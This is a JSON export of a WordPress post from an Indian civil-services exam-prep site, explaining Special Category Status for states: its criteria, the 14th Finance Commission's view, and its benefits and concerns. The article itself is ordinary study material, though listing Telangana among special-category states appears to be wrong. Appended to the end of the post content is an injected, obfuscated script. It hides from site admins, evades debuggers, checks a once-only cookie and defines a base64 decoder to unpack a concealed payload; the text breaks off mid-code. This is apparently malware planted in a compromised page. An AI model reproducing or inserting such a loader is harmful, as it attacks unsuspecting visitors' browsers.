{"id":841,"date":"2024-02-08T07:28:13","date_gmt":"2024-02-08T07:28:13","guid":{"rendered":"https:\/\/iasquest.com\/?p=841"},"modified":"2026-02-11T19:21:21","modified_gmt":"2026-02-11T19:21:21","slug":"gs-ii-functions-and-responsibilities-of-the-union-and-the-states-issues-and-challenges-pertaining-to-the-federal-structure-devolution-of-powers-and-finances-up-to-local-levels-and-challenges-therei","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/gs-ii-functions-and-responsibilities-of-the-union-and-the-states-issues-and-challenges-pertaining-to-the-federal-structure-devolution-of-powers-and-finances-up-to-local-levels-and-challenges-therei\/","title":{"rendered":"GS-II (Functions and Responsibilities of the Union and the States, Issues and Challenges Pertaining to the Federal Structure, Devolution of Powers and Finances up to Local Levels and Challenges Therein)"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong>News:<\/strong> Assembly session: Centre should not have \u2018absolute numbers\u2019 if A.P. is to secure Special Category Status, says Chief Minister Jagan Mohan Reddy<\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#da2121\"><strong>Q1. Examine the significance and concerns of granting Special Category Status to the states.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What is Special Category Status (SCS)?<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>SCS is a classification given by the Centre <strong>to assist development of states that face geographical and socio-economic disadvantages<\/strong>.<\/li>\n\n\n\n<li>The Constitution does not make a provision for SCS and this classification was later done on the recommendations of the <strong>Fifth Finance Commission in 1969<\/strong>.<\/li>\n\n\n\n<li>Status was first accorded to Jammu and Kashmir, Assam and Nagaland in 1969.<\/li>\n\n\n\n<li>The erstwhile Planning Commission <strong>allocates funds to states<\/strong> through central assistance for state plans. Central assistance can be broadly split into three components: Normal Central Assistance (NCA), Additional Central Assistance (ACA) and Special Central Assistance.<\/li>\n\n\n\n<li>Currently, 11 States including Assam, Nagaland, Himachal Pradesh, Manipur, Meghalaya, Sikkim, Tripura, Arunachal Pradesh, Mizoram, Uttarakhand and Telangana have been accorded the special category state status.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Recommendations of 14th Finance Commission:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The 14th Finance Commission has <strong>done away with the \u2018Special Category Status\u2019 for states<\/strong>, except for the North-eastern and three hill states.<\/li>\n\n\n\n<li>It suggested filling the resource gap of such states through tax devolution by increasing it to <strong>42% from 32%.<\/strong><\/li>\n\n\n\n<li>The interstate inequalities to be addressed through adequate tax devolutions and grants.<\/li>\n\n\n\n<li>Under the Finance Commission, some states receive revenue deficit grants.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Note:<\/strong> Special Category Status (SCS) is different from Special status which imparts enhanced<strong> legislative and political rights<\/strong>, while SCS deals with only <strong>economic and financial aspects<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Criteria to fulfil for SCS:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">There are some criteria based on <strong>Gadgil-Mukerjee Formula<\/strong> as follows:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Hilly Terrain<\/li>\n\n\n\n<li>Low Population Density and\/or Sizeable Share of Tribal Population<\/li>\n\n\n\n<li>Strategic Location along Borders with Neighbouring Countries<\/li>\n\n\n\n<li>Economic and Infrastructure Backwardness and<\/li>\n\n\n\n<li>Nonviable Nature of State finances.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Significance of SCS:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The Centre pays 90% of the funds required in a centrally-sponsored scheme to special category status states as against 60% or 75% in case of other states.<\/li>\n\n\n\n<li>The unspent money in a financial year <strong>does not lapse <\/strong>and<strong> could be carried forward<\/strong>.<\/li>\n\n\n\n<li><strong>30% of the Centre\u2019s Gross Budget<\/strong> goes to Special Category states.<\/li>\n\n\n\n<li>Some significant concessions are provided to these states in excise and customs duties, income tax and corporate tax.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Concerns over SCS:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>It impacts over burden on Central Finances.<\/li>\n\n\n\n<li>Benefits flow regularly without any accountability or performance monitoring of the states.<\/li>\n\n\n\n<li>Lack of constitutional or legal status.<\/li>\n\n\n\n<li>It leads to a <strong>Spill-over Effect<\/strong> like giving special status to a state leads to demands from other states too. For instance, demands from Andhra Pradesh, Odisha and Bihar.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Way forward:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Monitoring and accountability and granting of the SCS to a state should be through performance expectation.<\/li>\n\n\n\n<li>Adopting a target-based, time-bound arrangement that is focused on accountability, performance, and monitoring of achievements, with specific performance goals to be achieved by the beneficiary states for the benefits to continue.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Reference: <a href=\"https:\/\/indianexpress.com\/article\/cities\/patna\/bihar-cabinet-clears-special-status-demand-rs-2-5-lakh-cr-allocation-for-poor-families-9038503\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/cities\/patna\/bihar-cabinet-clears-special-status-demand-rs-2-5-lakh-cr-allocation-for-poor-families-9038503\/<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var 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